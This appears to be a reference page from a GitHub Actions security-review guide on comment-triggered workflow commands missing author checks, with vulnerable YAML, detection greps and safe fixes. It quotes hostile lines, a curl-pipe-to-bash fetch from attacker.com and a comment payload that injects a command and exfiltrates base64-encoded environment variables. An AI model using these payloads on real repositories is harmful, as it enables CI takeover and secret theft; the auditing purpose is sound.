Skill 15 · Gha Security Review
Subchapter 15.2
references/comment-triggered-commands.mdMarkdown5 KBView on GitHub
Workflows triggered by issue_comment that parse commands from comment bodies (e.g., /deploy, /version, /approve) can be exploited if they lack authorization checks. Any GitHub user can comment on public repository issues/PRs, making unprotected command handlers a direct RCE vector.
# VULNERABLE: No author check — any GitHub user can trigger
on:
issue_comment:
types: [created]
jobs:
deploy:
if: contains(github.event.comment.body, '/deploy')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: ./deploy.shAny GitHub user can comment /deploy on any issue or PR, and the workflow will execute.
The simplest attack: trigger a privileged operation without authorization.
# VULNERABLE: Any commenter can trigger version bump
on: issue_comment
jobs:
version:
if: |
github.event.issue.pull_request &&
contains(github.event.comment.body, '/version')
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }}
- run: ./version.sh -u -nReal-world: Used against project-akri (CNCF project). The attacker modified version.sh in their fork PR to inject curl -sSfL https://attacker.com/steal | bash at the top, then commented /version minor to trigger execution. No author_association check existed.
When the comment body is both the trigger AND used in a run: block:
# VULNERABLE: Double risk — no auth + expression injection
on: issue_comment
jobs:
greet:
if: startsWith(github.event.comment.body, '/greet')
steps:
- run: echo "Greeting from: ${{ github.event.comment.body }}"Payload comment:
/greet"; curl https://attacker.com/$(env | base64) ## VULNERABLE: Comment triggers checkout of fork code
on: issue_comment
jobs:
test:
if: |
github.event.issue.pull_request &&
contains(github.event.comment.body, '/test')
steps:
- uses: actions/checkout@v4
with:
ref: refs/pull/${{ github.event.issue.number }}/merge
- run: npm test # Runs fork's test suiteThis combines the issue_comment authorization problem with a pwn request — the comment triggers execution of untrusted fork code.
# Find issue_comment workflows
grep -rn "issue_comment" .github/workflows/
# Check for command patterns in conditions
grep -A10 "issue_comment" .github/workflows/*.yml | grep "contains\|startsWith"
# Check if author_association is validated
grep -A20 "issue_comment" .github/workflows/*.yml | grep "author_association"
# Check if comment body is used in run blocks
grep -A30 "issue_comment" .github/workflows/*.yml | grep "comment\.body"# SAFE: Only org members can trigger commands
on:
issue_comment:
types: [created]
jobs:
deploy:
if: |
contains(github.event.comment.body, '/deploy') &&
(
github.event.comment.author_association == 'MEMBER' ||
github.event.comment.author_association == 'OWNER' ||
github.event.comment.author_association == 'COLLABORATOR'
)
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: ./deploy.sh| Value | Meaning | Trust Level |
|---|---|---|
OWNER | Repository owner | Trusted |
MEMBER | Organization member | Trusted |
COLLABORATOR | Invited collaborator | Trusted |
CONTRIBUTOR | Has merged PR | Partially trusted |
FIRST_TIMER | First PR ever | Untrusted |
FIRST_TIME_CONTRIBUTOR | First PR to this repo | Untrusted |
NONE | No association | Untrusted |
Recommended: Only allow MEMBER, OWNER, and COLLABORATOR.
# SAFER: Author check + no expression injection + approval team
jobs:
deploy:
if: |
contains(github.event.comment.body, '/deploy') &&
github.event.comment.author_association == 'MEMBER'
steps:
- uses: actions/checkout@v4
# Use env var for any comment data, not ${{ }} in run:
- env:
COMMENT_BODY: ${{ github.event.comment.body }}
run: |
# Parse command arguments safely
ARGS=$(echo "$COMMENT_BODY" | grep -oP '(?<=/deploy\s).*' | head -1)
# Validate arguments against allowlist
if [[ "$ARGS" =~ ^(staging|production)$ ]]; then
./deploy.sh "$ARGS"
else
echo "Invalid deploy target: $ARGS"
exit 1
fiATTACK: Unauthorized Command via issue_comment
ENTRY: Attacker comments on a public issue/PR
PAYLOAD: Comment body containing "/[command]" [+ optional injection]
TRIGGER: issue_comment workflow at [file:line], condition at line [N]
matches without checking author_association
EXECUTION: [What runs — script execution, fork checkout, etc.]
IMPACT: [RCE, deployment trigger, secret access, etc.]